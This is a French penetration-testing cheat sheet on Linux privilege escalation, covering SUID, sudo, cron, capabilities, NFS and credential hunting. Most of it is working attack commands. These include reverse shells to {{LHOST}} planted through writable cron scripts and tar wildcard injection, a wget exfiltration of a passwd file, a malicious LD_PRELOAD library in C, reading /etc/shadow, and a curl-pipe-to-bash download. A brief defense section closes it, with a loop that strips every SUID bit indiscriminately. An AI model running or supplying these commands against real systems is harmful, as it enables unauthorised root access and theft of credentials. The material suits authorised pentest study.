---
title: "Linux PrivEsc — SUID, Sudo, Cron, Capabilities"
domain: security
subdomain: pentest
phase: 05-post-exploitation
type: snippet
tags: [privesc, linux, suid, sudo, cron, capabilities, nfs, linpeas, gtfobins]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Reconnaissance initiale

```bash
# Contexte actuel
id && whoami && hostname
cat /etc/passwd | grep -v "nologin\|false"
cat /etc/os-release && uname -a

# LinPEAS — énumération complète
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Ou en local
./linpeas.sh 2>/dev/null | tee linpeas.txt

# LinEnum
./LinEnum.sh -r report -e /tmp/ -t
```

---

## SUID / SGID

```bash
# Trouver tous les binaires SUID (Set User ID)
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# SGID
find / -perm -2000 -type f 2>/dev/null

# Exploiter via GTFOBins (https://gtfobins.github.io/)
# Rechercher le binaire SUID dans GTFOBins → section SUID
```

### Exploits SUID courants (GTFOBins)

```bash
# bash SUID
/bin/bash -p    # -p = preserve EUID → shell root

# find SUID
find . -exec /bin/sh -p \; -quit

# nmap SUID (ancienne version)
nmap --interactive
!sh

# vim / vi SUID
vim -c ':!/bin/sh'

# python SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# cp SUID → copier /etc/shadow pour cracker
cp /etc/shadow /tmp/shadow_copy

# wget SUID → écraser des fichiers système
echo "root::0:0:root:/root:/bin/bash" > /tmp/passwd
wget --post-file=/tmp/passwd {{LHOST}}   # exfil
```

---

## Sudo Misconfiguration

```bash
# Lister les règles sudo
sudo -l

# (ALL : ALL) NOPASSWD: ALL → sudo su directement
sudo su -
sudo /bin/bash

# Sudo sur un binaire spécifique
# (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'

# (root) NOPASSWD: /usr/bin/find
sudo find / -exec /bin/bash \;

# (root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

# (root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'

# (root) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
!/bin/bash   # dans less

# (root) NOPASSWD: /usr/bin/git
sudo git -p help config
!/bin/bash   # dans le pager

# (root) NOPASSWD: /usr/bin/nano
sudo nano /etc/sudoers   # ajouter sa propre règle
# Ou éditer /etc/passwd pour remettre root sans mot de passe
```

### Sudo env_keep — hijack LD_PRELOAD

```bash
# Si sudo -l montre : env_keep+=LD_PRELOAD
# Créer une bibliothèque partagée malveillante
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0); setuid(0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c

# Exécuter n'importe quelle commande autorisée avec LD_PRELOAD
sudo LD_PRELOAD=/tmp/preload.so find
```

---

## Cron Jobs

```bash
# Lister les crontabs
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
crontab -l
# Crontab de root ?
sudo crontab -l 2>/dev/null

# Surveiller les processus lancés (trouver les crons non listés)
# pspy — moniteur de processus sans droits root
./pspy64     # affiche les processus en temps réel avec UID
./pspy64 -pf -i 1000   # + surveiller les fichiers, intervalle 1s
```

```bash
# Cron écrit dans un fichier modifiable
# Si root cron : * * * * * /opt/script.sh
ls -la /opt/script.sh
# Si writable → injecter un reverse shell

echo '#!/bin/bash' > /opt/script.sh
echo "bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1" >> /opt/script.sh
chmod +x /opt/script.sh

# Attendre le tick de cron (max 60s pour * * * * *)
nc -lvnp {{LPORT}}
```

```bash
# Wildcard injection dans les crons tar/rsync
# Si cron : tar czf /backup.tar.gz /data/*
# Créer des fichiers avec noms spéciaux dans /data/
touch /data/--checkpoint=1
touch "/data/--checkpoint-action=exec=bash shell.sh"
echo "bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1" > /data/shell.sh
chmod +x /data/shell.sh
# Au prochain cron tar → exécute shell.sh en tant que root
```

---

## Linux Capabilities

```bash
# Trouver les binaires avec capabilities élevées
getcap -r / 2>/dev/null

# Capabilities dangereuses :
# cap_setuid+ep   → peut changer d'UID → root
# cap_net_bind_service  → peut binder des ports < 1024
# cap_dac_override     → bypass des permissions fichiers
# cap_sys_ptrace       → injection dans des processus
```

```bash
# python3 avec cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl avec cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# ruby avec cap_setuid
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# tar avec cap_dac_read_search → lire /etc/shadow
tar -cvf shadow.tar /etc/shadow 2>/dev/null
tar -xvf shadow.tar
cat etc/shadow
```

---

## NFS — No Root Squash

```bash
# Vérifier les exports NFS depuis l'attaquant
showmount -e {{TARGET_IP}}
# /home/user  *(rw,no_root_squash)
# no_root_squash = root côté client = root sur le partage

# Monter le partage NFS
mkdir /tmp/nfs_mount
mount -t nfs {{TARGET_IP}}:/home/user /tmp/nfs_mount

# Créer un binaire SUID bash
cp /bin/bash /tmp/nfs_mount/bash_suid
chmod +s /tmp/nfs_mount/bash_suid

# Sur la cible (user normal)
/home/user/bash_suid -p   # → root shell
```

---

## Mots de passe et credentials

```bash
# Historique bash
cat ~/.bash_history | grep -E "pass|pwd|secret|mysql|psql|ssh"

# Fichiers de config avec credentials
find / -name "*.conf" -o -name "*.config" -o -name "*.env" 2>/dev/null | xargs grep -li "password\|passwd\|secret" 2>/dev/null

# Variables d'environnement
env | grep -iE "pass|secret|key|token"
cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|secret"

# SSH keys privées
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
```

---

## Défense

```bash
# Audit SUID (retirer les SUID inutiles)
find / -perm -4000 2>/dev/null | while read f; do
  echo "SUID: $f"
  chmod u-s "$f" 2>/dev/null || echo "→ Impossible (binaire système)"
done

# Sudo minimal : éviter NOPASSWD sur des binaires GTFOBins
# Ne jamais accorder : sudo vim, sudo less, sudo find, sudo python, sudo awk

# Sécuriser les crons
chmod 700 /etc/cron.d/ /etc/cron.daily/
chown root:root /etc/crontab
# Ne jamais utiliser de wildcards dans les crons tar/rsync sans protection
```

<Tip>
GTFOBins (gtfobins.github.io) recense tous les binaires Unix utilisables pour escalader des privilèges. Pour chaque binaire SUID trouvé ou entrée `sudo -l`, vérifier d'abord dans GTFOBins — la majorité des binaires courants y sont répertoriés avec l'exploit exact.
</Tip>
